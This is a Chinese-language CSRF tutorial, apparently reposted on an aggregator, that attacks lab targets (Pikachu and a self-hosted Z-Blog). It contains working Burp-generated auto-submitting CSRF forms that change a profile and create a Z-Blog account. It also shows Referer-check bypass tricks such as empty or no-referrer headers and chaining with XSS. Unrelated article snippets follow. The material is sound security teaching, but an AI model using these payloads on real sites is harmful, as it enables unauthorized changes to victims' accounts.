CSRF 漏洞原理演示 基本绕过(同源 异源) 配合XSSToken值校验复用删除

前言

CSRF的基本原理  就是 举例 我们伪造一个支付宝的转账请求(抓包获取的),受害者 : 正好登录着支付宝(后台)的   同时点击了我们伪造的(包含恶意请求)网址  从而导致先我们进行转账

条件: 1、需要伪造的数据包
2、无过滤防护
3、受害者需要触发(诱惑)

演示

条件 :有条件的可以 申请2个服务器   不行就使用同一局域网下的2个电脑(一个搭建CMS   一个搭建攻击网站)

抓包构造  poc

创建一个  add.html   把生成的 poc  复制到里面(记得勾选  自动点击  不然就需要用户自己点击才能 进行跳转)

<html><!-- CSRF PoC - generated by Burp Suite Professional --><body><form action="http://121.199.174.104/vul/csrf/csrfget/csrf_get_edit.php"><input type="hidden" name="sex" value="girl" /><input type="hidden" name="phonenum" value="88888888" /><input type="hidden" name="add" value="usa" /><input type="hidden" name="email" value="lucy&#64;pikachu&#46;com" /><input type="hidden" name="submit" value="submit" /><input type="submit" value="Submit request" /></form><script>history.pushState('', '', '/');document.forms[0].submit();</script></body>
</html>

搭建靶场   把恶意的请求放到网站目录 

恶意的网站页面 

当我们直接进行访问时(需要后台登录过 pikachu 后台  不然没有cookie验证也是进不去的)

点击跳转  发现手机号被修改了    这个就是防护的CSRF的修改   发现这种跨站是非常危险的

CSRF的基本绕过

一般就是网站会设置   获取refer头信息从而来判断是否要拒绝你的访问(获取referer头的方法)

网站是怎么进行waf的 : 

<?php 
// 定义一个变量,用于存放flag
$flag = 123456;
$refer = $_SERVER['HTTP_REFERER'];  // 获取HTTP_REFERER  获取referer头部
echo $refer;  // 输出referer头部
if ($refer == "http://xiaodi8.com") {  // 判断referer是否为xiaodi8.comecho $flag;  // 输出flag
}else{echo "非法访问";  // 输出非法访问
}

在网站目录下新建一个 php文件储存上边这个 代码   我们使用 本机去访问

访问发现出现了  非法访问没有出现flag  

抓个包  修改refer头   这个时候就可以访问成功了

2个点  :  我们要修改的referer头  是一一对应的 :  解决方法 : 结合文件上传(把恶意代码的html文件上传到网站上) 让受害者主动访问 目标网站

结合 XXS  这个网站上有XXS  我们可以构造一个  重定向的一个payload  然后让其使用他的本地正确的网站进行

我们要修改的是模糊匹配的(有这个地址就行):这个的玩法 就是在你的请求服务器上把这个数据包的伪造请求放到 受害者地址的目录下(这个目录需要手动的创建)  
这个也是需要一个条件就是  需要是 受害者点击进行的

实战 利用z-blog

zblog的搭建 直接使用小皮面板放到网站目录下

密码是  Abc123456  

抓取请求包

生成  CSRF的poc   我们把这个代码粘贴到  add.html  内

<html><!-- CSRF PoC - generated by Burp Suite Professional --><body><form action="http://121.199.174.104/zb_system/cmd.php?act=MemberPst&csrfToken=19a6ce97294a905a4c37f883ed6bc9d0" method="POST"><input type="hidden" name="ID" value="0" /><input type="hidden" name="Level" value="6" /><input type="hidden" name="Status" value="0" /><input type="hidden" name="Name" value="�&#174;&#191;�&#174;&#162;" /><input type="hidden" name="Password" value="Abc123456" /><input type="hidden" name="PasswordRe" value="Abc123456" /><input type="hidden" name="Alias" value="" /><input type="hidden" name="Email" value="1111&#64;qq&#46;com" /><input type="hidden" name="HomePage" value="" /><input type="hidden" name="Intro" value="" /><input type="hidden" name="Template" value="index" /><input type="submit" value="Submit request" /></form><script>history.pushState('', '', '/');document.forms[0].submit();</script></body>
</html>

复制完成之后  记得把burp内的包给丢弃  

这个是没进行修改的

我们访问  add.html

发现是非法访问的  我们审查一下  zblog的源代码

http://121.199.174.104/zb_system/cmd.php?act=MemberPst&csrfToken=19a6ce97294a905a4c37f883ed6bc9d0

这个是路径  发现是在cmd.php

这边我们  试一下修改 referer 头试试是否可以直接绕过  

修改referer头为网站自身的   

发现是修改成功的  但是这个名字有点问题   

当然除了这些还有个就是无referer的逻辑

1、空 referer: 直接把referer=   后边的值删除

2、置空  :   在我们伪造的请求poc中的开头加入<meta name="referrer" content="no-referrer">

即可利用  

逻辑的原理 : 我们看直接查看 zblog的源码

置空的逻辑(如果没有referer 就会返回true)就是  利用的我们退出当前页面之后  如果想再次返回的时候因为浏览器储存这cookie  所以会直接进入 但是这个二次进入是没有来源的就是没有referer

CSRF的token防护 

从上边的那个url请求我们可以看出来  这个后边有个csrftoken=xxxxxx的  其实这个token

一般情况是绕过不了的

第二种防护机制  CSRF   token防护  : 特点就是 token具有唯一性和随机性     我们每访问一次界面就会有一个token随机(token 是在退出重进为一次单位)

正常的token  我们访问一次就会刷新一次 

置空

删除

复用

在CSRF中的作用还是比较有限的是因为 复用的一般是受害者登录的token

口诀 : 发现token  上边三个都没用 准备跑路

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/20238.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

外包干了3天,技术退步太明显了。。。

先说一下自己的情况&#xff0c;本科生生&#xff0c;21年通过校招进入武汉某软件公司&#xff0c;干了差不多3年的功能测试&#xff0c;感觉自己不能够在这样下去了&#xff0c;长时间呆在一个舒适的环境会让一个人堕落!而我已经在一个企业干了3年的功能测试&#xff0c;已经让…

HomeAssistant 发现MQTT设备(温度,湿度,开关)

要通过 MQTT 将温度、湿度数据以及一个灯的开关状态传输到 Home Assistant 并实现设备自动发现&#xff0c;可以按照以下步骤操作&#xff1a; 1.前期准备工作 安装MQTT服务器(EMQX)配置好(可以在HA加载项中安装,也可以在NAS上Docker安装) HA的集成中安装MQTT,并且连接上(EM…

【stm32】DAC实验(stm32f4hal库)

一、DAC简介 1、DAC 数字到模拟转换器&#xff08;DAC&#xff09;是一种电子设备&#xff0c;用于将数字信号转换为模拟信号。它通常用于将数字数据转换为模拟信号&#xff0c;以便在模拟电路中进行处理。DAC在许多领域都有广泛的应用&#xff0c;如音频设备、通信系统、仪器…

云计算架构学习之Ansible-playbook实战、Ansible-流程控制、Ansible-字典循环-roles角色

一、Ansible-playbook实战 1.Ansible-playbook安装软件 bash #编写yml [rootansible ansible]# cat wget.yml - hosts: backup tasks: - name: Install wget yum: name: wget state: present #检查playbook的语法 [rootansible ansible]…

前端工程化的具体实现细节

&#x1f90d; 前端开发工程师、技术日更博主、已过CET6 &#x1f368; 阿珊和她的猫_CSDN博客专家、23年度博客之星前端领域TOP1 &#x1f560; 牛客高级专题作者、打造专栏《前端面试必备》 、《2024面试高频手撕题》 &#x1f35a; 蓝桥云课签约作者、上架课程《Vue.js 和 E…

Chapter 3 Differential Voltage Current amplifiers

Chapter 3 Differential Voltage & Current amplifiers 这一章介绍差分电压和电流放大器. Current mirrors 我们首先分析电流镜Current Mirror. 由一个diode-connected MOSCS放大MOS组成, diode-MOS将电流转换成电压, 再由CS MOS转换成电流. 考虑沟道调制效应, M1和M2的…

确保设备始终处于最佳运行状态,延长设备的使用寿命,保障系统的稳定运行的智慧地产开源了

智慧地产视觉监控平台是一款功能强大且简单易用的实时算法视频监控系统。它的愿景是最底层打通各大芯片厂商相互间的壁垒&#xff0c;省去繁琐重复的适配流程&#xff0c;实现芯片、算法、应用的全流程组合&#xff0c;从而大大减少企业级应用约95%的开发成本。通过计算机视觉和…

[笔记.AI]大模型的蒸馏、剪枝、量化 | 模型压缩 | 作用与意义

上周简单整理了《deepseek-r1的不同版本&#xff08;满血版、蒸馏版、量化&#xff09;》&#xff0c;这次继续完善对其的认知——补充“剪枝”&#xff0c;并进一步整理蒸馏、剪枝、量化的作用与意义。 以下摘自与DeepSeek-R1在线联网版的对话 蒸馏、剪枝、量化是当前主流的三…

Java 反射机制深度解析:类信息的来源、declared 的区别、赋值操作及暴力反射

在 Java 开发中&#xff0c;反射机制是一个强大且灵活的工具&#xff0c;它允许程序在运行时动态地获取类的信息、创建对象、调用方法和访问字段等。本文将结合代码示例和图示&#xff0c;深入探讨以下四个问题&#xff1a; 类信息来自哪里&#xff1f; 获取类信息时加不加 de…

Transformer 模型介绍(四)——编码器 Encoder 和解码器 Decoder

上篇中讲完了自注意力机制 Self-Attention 和多头注意力机制 Multi-Head Attention&#xff0c;这是 Transformer 核心组成部分之一&#xff0c;在此基础上&#xff0c;进一步展开讲一下编码器-解码器结构&#xff08;Encoder-Decoder Architecture&#xff09; Transformer 模…

电脑系统损坏,备份文件

一、工具准备 1.U盘&#xff1a;8G以上就够用&#xff0c;注意会格式化U盘&#xff0c;提前备份U盘内容 2.电脑&#xff1a;下载Windows系统并进行启动盘制作 二、Windows启动盘制作 1.微软官网下载启动盘制作工具微软官网下载启动盘制作工具https://www.microsoft.com/zh-c…

Linux下Ollama下载安装速度过慢的解决方法

问题描述&#xff1a;在Linux下使用默认安装指令安装Ollama&#xff0c;下载安装速度过慢&#xff0c;进度条进度缓慢&#xff0c;一直处于Downloading Linux amd64 bundle中&#xff0c;具体如下图所示&#xff1a; 其中&#xff0c;默认的Ollama Linux端安装指令如下&#xf…

uniapp中@input输入事件在修改值只有第一次有效的问题解决

在uniapp中使用输入框&#xff0c;要求输入不超过7个字&#xff0c;所以需要监听输入事件&#xff0c;当每次输入文字的时候&#xff0c;就把输入的值截断&#xff0c;取前7个值。但是在input事件中&#xff0c;重新赋值的值发生了变化&#xff0c;但是页面上的还是没有变&…

DeepSeek 助力 Vue 开发:打造丝滑的范围选择器(Range Picker)

前言&#xff1a;哈喽&#xff0c;大家好&#xff0c;今天给大家分享一篇文章&#xff01;并提供具体代码帮助大家深入理解&#xff0c;彻底掌握&#xff01;创作不易&#xff0c;如果能帮助到大家或者给大家一些灵感和启发&#xff0c;欢迎收藏关注哦 &#x1f495; 目录 Deep…

VMware按照的MacOS升级后无法联网

背景 3年前公司使用Flutter开发了一款app&#xff0c;现在app有微小改动需要重新发布到AppStore 问题 问题是原来的Vmware搭建的开发环境发布App失败了 提示&#xff1a;App需要使用xcode15IOS 17 SDK重新构建&#xff0c;这样的话MacOS至少需要升级到13.5 Xcode - 支持 - Ap…

Day01 【苍穹外卖】环境搭建与前后端联调

一、环境搭建 1.JDK安装与IDEA安装&#xff1a; JDK安装与IDEA安装&#xff1a;【JAVA基础】01、JAVA环境配置----JDK与 IDEA集成开发环境的安装&#xff08;2025最新版本&#xff09;_配置jdk-CSDN博客 注意&#xff0c;这里要下载JDK1.8版本的&#xff0c;不然会报错&…

STM32 HAL库USART串口中断编程:环形缓冲区防止数据丢失

HAL_UART_Receive接收最容易丢数据了,可以考虑用中断来实现,但是HAL_UART_Receive_IT还不能直接用,容易数据丢失,实际工作中不会这样用,STM32 HAL库USART串口中断编程&#xff1a;演示数据丢失,需要在此基础优化一下. 本文介绍STM32F103 HAL库USART串口中断,利用环形缓冲区来防…

Vulnhub:DC-1靶机渗透

渗透过程 一&#xff0c;信息收集 1&#xff0c;探测目标IP地址 探测目标IP地址&#xff0c;探测主机的工具有很多&#xff0c;常见的有arp-scan、nmap还有netdiscover&#xff0c;这里使用arp-scan arp-scan -l确定了DC-1主机的IP地址为 192.168.126.1452&#xff0c;探测…

MySQL 之存储引擎(MySQL Storage Engine)

MySQL 之存储引擎 常见存储引擎及其特点 ‌InnoDB‌&#xff1a; ‌特点‌&#xff1a;支持事务处理、行级锁定、外键约束&#xff0c;使用聚簇索引&#xff0c;适合高并发读写和事务处理的场景‌。‌适用场景‌&#xff1a;需要高可靠性、高并发读写和事务处理的场景‌。 ‌M…

EasyX安装及使用

安装链接&#xff1a;EasyX Graphics Library for C 安装完成包含头文件graphics.h即可使用 RGB合成颜色&#xff08;红色部分&#xff0c;绿色部分&#xff0c;蓝色部分&#xff09; 每种颜色的值都是&#xff08;0~255&#xff09; 坐标默认的原点在窗口的左上角&#xf…